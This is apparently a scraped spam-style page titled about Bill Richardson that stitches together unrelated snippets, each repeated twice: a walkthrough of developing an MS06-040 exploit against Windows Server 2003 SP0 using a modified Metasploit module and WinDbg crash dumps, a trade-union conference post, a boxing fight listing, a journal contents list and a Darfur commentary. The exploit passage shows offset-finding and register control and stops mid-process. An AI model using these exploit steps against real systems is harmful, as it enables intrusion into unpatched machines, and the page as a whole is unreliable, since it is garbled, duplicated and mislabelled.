Take Back the Times: Bill Richardson Would Make A Good Secretary Of State

Array

As I promise, now I will detail about how to develop exploit MS06-040 that attack against Windows Server 2003 SP0, especially how to break the stack-based buffer overflow protection mechanism in Windows Server 2003 SP0. First of all, I use the metasploit module, netapi_ms06_040.pm, as a template to study how the system process crash. I use the target number 2 “(wcscpy) Windows XP SP0/SP1” and modify the code like this: [ ‘(wcscpy) Windows XP SP0/SP1’, 612, 0x00020804 ], change to [ ‘(wcscpy) Windows XP SP0/SP1’, 612, 0xaaaaaaaa ], add this code: = “B” x length(); above the code line: my replace the code: Pex::Text::AlphaNumText(number) with (“A” x number) The reason why I have to do this change is I have to know which parts of payload overwrite which registers and how the stack look likes. I run this exploit attack against the machine, and windbg show the result like this: kd> .exr 00E0F1F8ExceptionAddress: 77bd4d33 (msvcrt!wcscpy 0×0000000b) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000NumberParameters: 2 Parameter[0]: 00000001 Parameter[1]: 41414141Attempt to write to address 41414141kd> .cxr 00E0F214eax=00e0d8d2 ebx=77bd4cfe ecx=41414141 edx=00e0f4f8 esi=00000000 edi=77bd4e32eip=77bd4d33 esp=00e0f4e0 ebp=00e0f910 iopl=0 nv up ei ng nz na po cycs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000283msvcrt!wcscpy 0xb:001b:77bd4d33 668901 mov word ptr [ecx],ax ds:0023:41414141=???? The exception occurs at the address 0×77bd4d33 (wcscpy 0xb) – attemp to write to the address 0×41414141. I also view the stack: kd> dd esp00e0f4e0 71c44b7e 41414141 00e0f4f8 0000000000e0f4f0 0016ded8 0011d878 0100d8d2 77da741700e0f500 42421000 42424242 42424242 4242424200e0f510 42424242 42424242 42424242 4242424200e0f520 42424242 42424242 42424242 4242424200e0f530 42424242 42424242 42424242 4242424200e0f540 42424242 42424242 42424242 4242424200e0f550 42424242 42424242 42424242 42424242kd> dd ebp00e0f910 41414141 41414141 41414141 aaaaaaaa00e0f920 41414141 41414141 aaaaaaaa 4141414100e0f930 41414141 41414141 41414141 4141414100e0f940 41414141 41414141 41414141 0000000000e0f950 0011d87c 00000000 00e0f988 77c5236000e0f960 0011d590 0011d5a0 0016ded8 0000006100e0f970 0011d878 0011d87c 00000000 0202020200e0f980 00000007 000efc9c 00e0fd64 77ce51d0kd> kbChildEBP RetAddr Args to Child 00e0f4dc 71c44b7e 41414141 00e0f4f8 00000000 msvcrt!wcscpy 0xb00e0f958 77c52360 0011d590 0011d5a0 0016ded8 NETAPI32!CanonicalizePathName 0×12c Now the address 0×41414141 is overwritten instead of 0xaaaaaaaa. I found that the offset of the position that can control ecx is at 46th bytes from the last of variable . At this time I can control ecx, I change value 0xaaaaaaaa back to 0×02040801 (near the location 0×02080400) and rerun the exploit kd> reax=00e84242 ebx=77bd4cfe ecx=02080401 edx=00e8f4f8 esi=00000000 edi=77bd4e32eip=77bd4d33 esp=00e8f4e0 ebp=00e8f910 iopl=0 nv up ei ng nz na pe cycs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000287001b:77bd4d33 668901 mov word ptr [ecx],ax ds:0023:02080401=????kd> u001b:77bd4d33 668901 mov word ptr [ecx],ax001b:77bd4d36 41 inc ecx001b:77bd4d37 41 inc ecx001b:77bd4d38 42 inc edx001b:77bd4d39 42 inc edx001b:77bd4d3a 6685c0 test ax,ax001b:77bd4d3d 75f1 jne 77bd4d30001b:77bd4d3f 8b442404 mov eax,dword ptr [esp 4]kd> pntdll!KiUserExceptionDispatcher 0×4:001b:77f4526b 8b1c24 mov ebx,dword ptr [esp] After the instruction at the address 0×77bd4dee “mov word ptr [ecx], ax”, the function KiUserExceptionDispatcher() is called instead of the instruction at address 0×77bd4d36 “inc ecx”. This means that the address 0×02080401 is not writeable. This is the new problem when developing this exploit. 0×02080401 is not writeable no more. There is any location that I can overwrite and it has to be reliable. One of the best choice is heap memory. I decide to use the memory address 0×01590101 as the memory to be overwritten. kd> bl 0 e 77bd4d33 0001 (0001) j @ecx = 01590101
link

My first experience of the TUC was an enlightening one I was there as a visitor and thoroughly enjoyed the whole experience.The Fringes were by far the best bit and I really enjoyed networking with all the various unions - a special hello to comrades Ross and Bob from RMT :) and it was really good to catch up with Louise again!The media frenzy on Tuesday around Blairs speech was a bit much but hey I got a plug in live on BBC News24 for John McDonnells campaign and then 10 minute interview with a Japanese TV station on why John M should be leader so not all was lost :) www.john4leader.org.ukFor a full report on what policy was passed each day see Jon’s Union Blog.
link

Duration 9:59April 16 1985Caesars Palace, Las VegasMarvelous Marvin Haglerthe undisputed middleweight championversusThomas Hearnsa world welterweight and super welterweight titlist______

link

Full Text Links | Simons and Dick Tibboel SummaryPlus | Full Text Links | Fetal pain perception and pain management • ARTICLE Pages 232-236 Marc Van de Velde, Jacques Jani, Frederik De Buck and J. Full Text Links | Pain assessment: Current status and challenges • ARTICLE Pages 237-245 Pat Hummel and Monique van Dijk SummaryPlus | Full Text Links | Non-pharmacological pain relief • ARTICLE Pages 246-250 Andrew Leslie and Neil Marlow SummaryPlus | Full Text Links | Full Text Links | Full Text Links | Full Text Links |
link

We can make a difference even if we have wide differences.This could profitably become a watchword of American diplomacy, and, in light of the fact that the Sudan is one of the most misbehaving countries on the planet, having killed hundreds of thousands in a pointless ethnic war in the Darfur region, it is illuminating that the governor was able to go there and come out with such a fine result.Salopek, a Pulitzer Prize winner, was actually on assignment for the National Geographic magazine when he crossed into Darfur, part of the Sudan, without a visa, and was seized by Sudanese units.Richardson was not the only person who went to the Sudan in the effort to get Salopek released.
link

Array

As I promise, now I will detail about how to develop exploit MS06-040 that attack against Windows Server 2003 SP0, especially how to break the stack-based buffer overflow protection mechanism in Windows Server 2003 SP0. First of all, I use the metasploit module, netapi_ms06_040.pm, as a template to study how the system process crash. I use the target number 2 “(wcscpy) Windows XP SP0/SP1” and modify the code like this: [ ‘(wcscpy) Windows XP SP0/SP1’, 612, 0x00020804 ], change to [ ‘(wcscpy) Windows XP SP0/SP1’, 612, 0xaaaaaaaa ], add this code: = “B” x length(); above the code line: my replace the code: Pex::Text::AlphaNumText(number) with (“A” x number) The reason why I have to do this change is I have to know which parts of payload overwrite which registers and how the stack look likes. I run this exploit attack against the machine, and windbg show the result like this: kd> .exr 00E0F1F8ExceptionAddress: 77bd4d33 (msvcrt!wcscpy 0×0000000b) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000NumberParameters: 2 Parameter[0]: 00000001 Parameter[1]: 41414141Attempt to write to address 41414141kd> .cxr 00E0F214eax=00e0d8d2 ebx=77bd4cfe ecx=41414141 edx=00e0f4f8 esi=00000000 edi=77bd4e32eip=77bd4d33 esp=00e0f4e0 ebp=00e0f910 iopl=0 nv up ei ng nz na po cycs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000283msvcrt!wcscpy 0xb:001b:77bd4d33 668901 mov word ptr [ecx],ax ds:0023:41414141=???? The exception occurs at the address 0×77bd4d33 (wcscpy 0xb) – attemp to write to the address 0×41414141. I also view the stack: kd> dd esp00e0f4e0 71c44b7e 41414141 00e0f4f8 0000000000e0f4f0 0016ded8 0011d878 0100d8d2 77da741700e0f500 42421000 42424242 42424242 4242424200e0f510 42424242 42424242 42424242 4242424200e0f520 42424242 42424242 42424242 4242424200e0f530 42424242 42424242 42424242 4242424200e0f540 42424242 42424242 42424242 4242424200e0f550 42424242 42424242 42424242 42424242kd> dd ebp00e0f910 41414141 41414141 41414141 aaaaaaaa00e0f920 41414141 41414141 aaaaaaaa 4141414100e0f930 41414141 41414141 41414141 4141414100e0f940 41414141 41414141 41414141 0000000000e0f950 0011d87c 00000000 00e0f988 77c5236000e0f960 0011d590 0011d5a0 0016ded8 0000006100e0f970 0011d878 0011d87c 00000000 0202020200e0f980 00000007 000efc9c 00e0fd64 77ce51d0kd> kbChildEBP RetAddr Args to Child 00e0f4dc 71c44b7e 41414141 00e0f4f8 00000000 msvcrt!wcscpy 0xb00e0f958 77c52360 0011d590 0011d5a0 0016ded8 NETAPI32!CanonicalizePathName 0×12c Now the address 0×41414141 is overwritten instead of 0xaaaaaaaa. I found that the offset of the position that can control ecx is at 46th bytes from the last of variable . At this time I can control ecx, I change value 0xaaaaaaaa back to 0×02040801 (near the location 0×02080400) and rerun the exploit kd> reax=00e84242 ebx=77bd4cfe ecx=02080401 edx=00e8f4f8 esi=00000000 edi=77bd4e32eip=77bd4d33 esp=00e8f4e0 ebp=00e8f910 iopl=0 nv up ei ng nz na pe cycs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000287001b:77bd4d33 668901 mov word ptr [ecx],ax ds:0023:02080401=????kd> u001b:77bd4d33 668901 mov word ptr [ecx],ax001b:77bd4d36 41 inc ecx001b:77bd4d37 41 inc ecx001b:77bd4d38 42 inc edx001b:77bd4d39 42 inc edx001b:77bd4d3a 6685c0 test ax,ax001b:77bd4d3d 75f1 jne 77bd4d30001b:77bd4d3f 8b442404 mov eax,dword ptr [esp 4]kd> pntdll!KiUserExceptionDispatcher 0×4:001b:77f4526b 8b1c24 mov ebx,dword ptr [esp] After the instruction at the address 0×77bd4dee “mov word ptr [ecx], ax”, the function KiUserExceptionDispatcher() is called instead of the instruction at address 0×77bd4d36 “inc ecx”. This means that the address 0×02080401 is not writeable. This is the new problem when developing this exploit. 0×02080401 is not writeable no more. There is any location that I can overwrite and it has to be reliable. One of the best choice is heap memory. I decide to use the memory address 0×01590101 as the memory to be overwritten. kd> bl 0 e 77bd4d33 0001 (0001) j @ecx = 01590101
link

My first experience of the TUC was an enlightening one I was there as a visitor and thoroughly enjoyed the whole experience.The Fringes were by far the best bit and I really enjoyed networking with all the various unions - a special hello to comrades Ross and Bob from RMT :) and it was really good to catch up with Louise again!The media frenzy on Tuesday around Blairs speech was a bit much but hey I got a plug in live on BBC News24 for John McDonnells campaign and then 10 minute interview with a Japanese TV station on why John M should be leader so not all was lost :) www.john4leader.org.ukFor a full report on what policy was passed each day see Jon’s Union Blog.
link

Duration 9:59April 16 1985Caesars Palace, Las VegasMarvelous Marvin Haglerthe undisputed middleweight championversusThomas Hearnsa world welterweight and super welterweight titlist______

link

Full Text Links | Simons and Dick Tibboel SummaryPlus | Full Text Links | Fetal pain perception and pain management • ARTICLE Pages 232-236 Marc Van de Velde, Jacques Jani, Frederik De Buck and J. Full Text Links | Pain assessment: Current status and challenges • ARTICLE Pages 237-245 Pat Hummel and Monique van Dijk SummaryPlus | Full Text Links | Non-pharmacological pain relief • ARTICLE Pages 246-250 Andrew Leslie and Neil Marlow SummaryPlus | Full Text Links | Full Text Links | Full Text Links | Full Text Links |
link

We can make a difference even if we have wide differences.This could profitably become a watchword of American diplomacy, and, in light of the fact that the Sudan is one of the most misbehaving countries on the planet, having killed hundreds of thousands in a pointless ethnic war in the Darfur region, it is illuminating that the governor was able to go there and come out with such a fine result.Salopek, a Pulitzer Prize winner, was actually on assignment for the National Geographic magazine when he crossed into Darfur, part of the Sudan, without a visa, and was seized by Sudanese units.Richardson was not the only person who went to the Sudan in the effort to get Salopek released.
link

Tags: ,

Leave a Reply